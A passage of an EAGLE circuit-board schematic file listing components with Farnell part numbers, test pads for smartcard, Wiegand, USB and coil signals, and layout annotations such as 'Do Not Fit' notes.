name=\"XFARNELL\" value=\"9332014\"/>\n</part>\n<part name=\"SUPPLY3\" library=\"supply1\" deviceset=\"GND\" device=\"\"/>\n<part name=\"OPTO_MOS2\" library=\"1FAB\" deviceset=\"CPC1008N\" device=\"\" value=\"CPC1008N\">\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"XFARNELL\" value=\"1653755\"/>\n</part>\n<part name=\"JP17\" library=\"SparkFun-Connectors\" deviceset=\"M02\" device=\"LOCK_LONGPADS\">\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n</part>\n<part name=\"JP1\" library=\"SparkFun-Connectors\" deviceset=\"M03\" device=\"LOCK_LONGPADS\">\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n</part>\n<part name=\"USD_1\" library=\"1FAB\" deviceset=\"MICROSD_TE2201778-1_FARN-234-5280\" device=\"\">\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"XFARNELL\" value=\"2345280\"/>\n</part>\n<part name=\"P+3\" library=\"SparkFun02-20-08\" deviceset=\"3.3V\" device=\"\" value=\"3V3\"/>\n<part name=\"R33\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"10K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"9330399\"/>\n</part>\n<part name=\"R34\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"10K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"9330399\"/>\n</part>\n<part name=\"R35\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"10K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"9330399\"/>\n</part>\n<part name=\"C17\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"100nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"Crrently rs 264 4646\"/>\n<attribute name=\"XFARNELL\" value=\"2332586\"/>\n</part>\n<part name=\"R36\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"10K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"9330399\"/>\n</part>\n<part name=\"GND3\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"SUPPLY7\" library=\"supply1\" deviceset=\"GND\" device=\"\"/>\n<part name=\"D5\" library=\"1FAB\" deviceset=\"BZB984\" device=\"\" value=\"BZB984-C3V0\">\n<attribute name=\"FARNELL\" value=\"8735310\"/>\n</part>\n<part name=\"R17\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"470\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"2333530\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"J1\" library=\"SparkFun-Passives\" deviceset=\"SOLDERJUMPER\" device=\"TRACE\" value=\"CUT TO USE RF1\"/>\n<part name=\"TP20\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"SMARTCARD_VCC\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP21\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"SMARTCARD_RESET\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP22\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"SMARTCARD_CLOCK\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP23\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"SMARTCARD_TX_PIC_RX\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP24\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"PIC_!SS1\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP25\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"PIC_SDO1\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP26\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"PIC_SCK1\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP27\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"PIC_SDI1\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP28\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"SD_CARD_DETECT\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP30\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"USB_D-\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP31\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"USB_D+\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP32\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"USBID\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP29\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"WIEGAND_1_OUT\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP33\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"WIE0OUT\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP34\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"WIE0IN\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP35\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"WIE1IN\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP36\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"DEBUG_4\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP37\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"DEBUG_3\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP38\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"DEBUG_2\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP39\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"DEBUG_1\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP40\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"CLI_UART3_PIC_RX\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP41\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"CLI_UART3_PIC_TX\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP42\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"RELAY\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"JP19\" library=\"SparkFun 26-2-11\" deviceset=\"M02\" device=\"LOCK_LONGPADS\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"C31\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"1nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"1414606\"/>\n</part>\n<part name=\"C32\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0805\" value=\"10uF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"1867958\"/>\n</part>\n<part name=\"C33\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0805\" value=\"10uF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"1867958\"/>\n</part>\n<part name=\"R37\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"100K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"9330402\"/>\n</part>\n<part name=\"R38\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"47K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"2078919\"/>\n</part>\n<part name=\"R39\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"1K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"9330402\"/>\n</part>\n<part name=\"R40\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"100K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"9330402\"/>\n</part>\n<part name=\"R41\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"100K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"9330402\"/>\n</part>\n<part name=\"SUPPLY9\" library=\"supply1\" deviceset=\"GND\" device=\"\"/>\n<part name=\"5V2\" library=\"supply1\" deviceset=\"+5V\" device=\"\" value=\"5V0\"/>\n<part name=\"TP43\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"LC_COIL\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP44\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"LC+\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP45\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"LC-\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"TP46\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"LCOUT\">\n<attribute name=\"POGOPIN\" value=\"?\"/>\n</part>\n<part name=\"GND1\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"U$2\" library=\"1FAB\" deviceset=\"USB_MINI_B_FARN1125348\" device=\"\">\n<attribute name=\"FARNELL\" value=\"1125348\"/>\n</part>\n<part name=\"X2\" library=\"crystal\" deviceset=\"CRYSTAL\" device=\"TC38H\" value=\"32.768KHZ\">\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"XFARNELL\" value=\"1611828\"/>\n</part>\n<part name=\"GND2\" library=\"SparkFun02-20-08\" deviceset=\"GND\" device=\"\"/>\n<part name=\"C34\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"12pF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"1907285\"/>\n</part>\n<part name=\"C35\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"12pF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"1907285\"/>\n</part>\n<part name=\"OPTO_MOS3\" library=\"1FAB\" deviceset=\"CPC1008N\" device=\"\" value=\"CPC1008N\">\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"XFARNELL\" value=\"1653755\"/>\n</part>\n<part name=\"R42\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"330\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"9332014\"/>\n</part>\n<part name=\"C36\" library=\"resistor\" deviceset=\"C-EU\" device=\"C0603\" value=\"1nF\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"1414606\"/>\n</part>\n<part name=\"L1\" library=\"SparkFun17-11-11\" deviceset=\"INDUCTOR\" device=\"0603\">\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n</part>\n<part name=\"JP2\" library=\"SparkFun 26-2-11\" deviceset=\"M02\" device=\"LOCK_LONGPADS\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"JP12\" library=\"1FAB\" deviceset=\"PINHD-1X1\" device=\"\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"TP11\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"LC_CAL\"/>\n<part name=\"R43\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"0R\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"1799375 \"/>\n</part>\n<part name=\"R44\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"0R\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"DNF\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n<attribute name=\"XFARNELL\" value=\"1799375 \"/>\n</part>\n<part name=\"TP1\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"DOWNS_ORIN1\">\n<attribute name=\"POGOPIN\" value=\"\"/>\n</part>\n<part name=\"TP18\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"DOWNS_ORIN1\">\n<attribute name=\"POGOPIN\" value=\"\"/>\n</part>\n<part name=\"TP47\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"PEG4\">\n<attribute name=\"POGOPIN\" value=\"\"/>\n</part>\n<part name=\"TP48\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"PEG1\">\n<attribute name=\"POGOPIN\" value=\"\"/>\n</part>\n<part name=\"TP49\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"PEG3\">\n<attribute name=\"POGOPIN\" value=\"\"/>\n</part>\n<part name=\"TP50\" library=\"testpad\" deviceset=\"TP\" device=\"TP20R\" value=\"PEG2\">\n<attribute name=\"POGOPIN\" value=\"\"/>\n</part>\n<part name=\"R45\" library=\"resistor\" deviceset=\"R-US_\" device=\"R0603\" value=\"12K\">\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\"/>\n<attribute name=\"FARNELL\" value=\"1652834\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\"/>\n<attribute name=\"PARTNO\" value=\"?\"/>\n<attribute name=\"TOLERANCE\" value=\"?\"/>\n</part>\n<part name=\"J2\" library=\"SparkFun-Passives\" deviceset=\"SOLDERJUMPER\" device=\"TRACE\" value=\"CUT TO USE FIXED R OR TRIM POT\"/>\n<part name=\"J3\" library=\"SparkFun-Passives\" deviceset=\"SOLDERJUMPER\" device=\"TRACE\" value=\"CUT TO USE FIXED R OR TRIM POT\"/>\n<part name=\"J4\" library=\"SparkFun-Passives\" deviceset=\"SOLDERJUMPER\" device=\"TRACE\" value=\"\"/>\n</parts>\n<sheets>\n<sheet>\n<plain>\n<wire x1=\"353.06\" y1=\"167.64\" x2=\"353.06\" y2=\"17.78\" width=\"0.1524\" layer=\"98\"/>\n<wire x1=\"353.06\" y1=\"17.78\" x2=\"223.52\" y2=\"17.78\" width=\"0.1524\" layer=\"98\"/>\n<wire x1=\"223.52\" y1=\"17.78\" x2=\"223.52\" y2=\"167.64\" width=\"0.1524\" layer=\"98\"/>\n<wire x1=\"223.52\" y1=\"167.64\" x2=\"353.06\" y2=\"167.64\" width=\"0.1524\" layer=\"98\"/>\n<text x=\"294.64\" y=\"147.32\" size=\"5.08\" layer=\"98\">Do Not Fit</text>\n<text x=\"264.16\" y=\"205.74\" size=\"1.778\" layer=\"98\" rot=\"R90\">USB Function (Micro B)</text>\n<text x=\"35.56\" y=\"78.74\" size=\"5.08\" layer=\"91\">PF!!!!</text>\n<text x=\"-88.9\" y=\"170.18\" size=\"1.778\" layer=\"91\">Bad Joints On These\nCapacitors Will Prevent\nPIC From Running !!!</text>\n<wire x1=\"25.4\" y1=\"-190.5\" x2=\"53.34\" y2=\"-190.5\" width=\"0.1524\" layer=\"95\" style=\"dashdot\"/>\n<wire x1=\"53.34\" y1=\"-190.5\" x2=\"53.34\" y2=\"-208.28\" width=\"0.1524\" layer=\"95\" style=\"dashdot\"/>\n<wire x1=\"53.34\" y1=\"-208.28\" x2=\"48.26\" y2=\"-208.28\" width=\"0.1524\" layer=\"95\" style=\"dashdot\"/>\n<wire x1=\"48.26\" y1=\"-208.28\" x2=\"25.4\" y2=\"-208.28\" width=\"0.1524\" layer=\"95\" style=\"dashdot\"/>\n<wire x1=\"25.4\" y1=\"-208.28\" x2=\"25.4\" y2=\"-190.5\" width=\"0.1524\" layer=\"95\" style=\"dashdot\"/>\n<text x=\"48.26\" y=\"-215.9\" size=\"1.778\" layer=\"95\">Tight tolerances on these caps</text>\n<wire x1=\"48.26\" y1=\"-213.36\" x2=\"48.26\" y2=\"-208.28\" width=\"0.1524\" layer=\"95\" style=\"dashdot\"/>\n<wire x1=\"358.14\" y1=\"-67.31\" x2=\"358.14\" y2=\"-86.36\" width=\"0.1524\" layer=\"95\" style=\"dashdot\"/>\n<wire x1=\"358.14\" y1=\"-86.36\" x2=\"375.92\" y2=\"-86.36\" width=\"0.1524\" layer=\"95\" style=\"dashdot\"/>\n<wire x1=\"375.92\" y1=\"-86.36\" x2=\"375.92\" y2=\"-67.056\" width=\"0.1524\" layer=\"95\" style=\"dashdot\"/>\n<wire x1=\"375.92\" y1=\"-67.056\" x2=\"358.394\" y2=\"-67.056\" width=\"0.1524\" layer=\"95\" style=\"dashdot\"/>\n<text x=\"359.918\" y=\"-71.374\" size=\"1.778\" layer=\"95\">DNF</text>\n<text x=\"359.41\" y=\"-80.772\" size=\"1.778\" layer=\"95\">DNF</text>\n<wire x1=\"88.9\" y1=\"276.86\" x2=\"144.78\" y2=\"276.86\" width=\"0.1524\" layer=\"95\"/>\n<wire x1=\"144.78\" y1=\"276.86\" x2=\"144.78\" y2=\"251.46\" width=\"0.1524\" layer=\"95\"/>\n<wire x1=\"144.78\" y1=\"251.46\" x2=\"88.9\" y2=\"251.46\" width=\"0.1524\" layer=\"95\"/>\n<wire x1=\"88.9\" y1=\"251.46\" x2=\"88.9\" y2=\"276.86\" width=\"0.1524\" layer=\"95\"/>\n<text x=\"104.14\" y=\"256.54\" size=\"1.778\" layer=\"95\">For alignment pins</text>\n</plain>\n<instances>\n<instance part=\"C4\" gate=\"G$1\" x=\"-116.84\" y=\"-111.76\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"-116.84\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-115.316\" y=\"-108.839\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"-117.856\" y=\"-113.919\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"-116.84\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-116.84\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-116.84\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-116.84\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-116.84\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C8\" gate=\"G$1\" x=\"-2.54\" y=\"-111.76\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"-2.54\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-7.62\" y=\"-108.585\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"-7.874\" y=\"-113.919\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"-2.54\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-2.54\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-2.54\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-2.54\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-2.54\" y=\"-111.76\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C10\" gate=\"G$1\" x=\"12.7\" y=\"-91.44\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" x=\"12.7\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"13.97\" y=\"-86.741\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"14.986\" y=\"-94.361\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"12.7\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"12.7\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"12.7\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"12.7\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"12.7\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C9\" gate=\"G$1\" x=\"33.02\" y=\"-109.22\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" x=\"33.02\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"31.75\" y=\"-106.807\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"32.004\" y=\"-112.649\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" x=\"33.02\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"33.02\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"33.02\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"33.02\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"33.02\" y=\"-109.22\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C11\" gate=\"G$1\" x=\"40.64\" y=\"-91.44\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" x=\"40.64\" y=\"-91.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"39.624\" y=\"-88.773\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"38.608\" y=\"-95.885\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"40.64\" 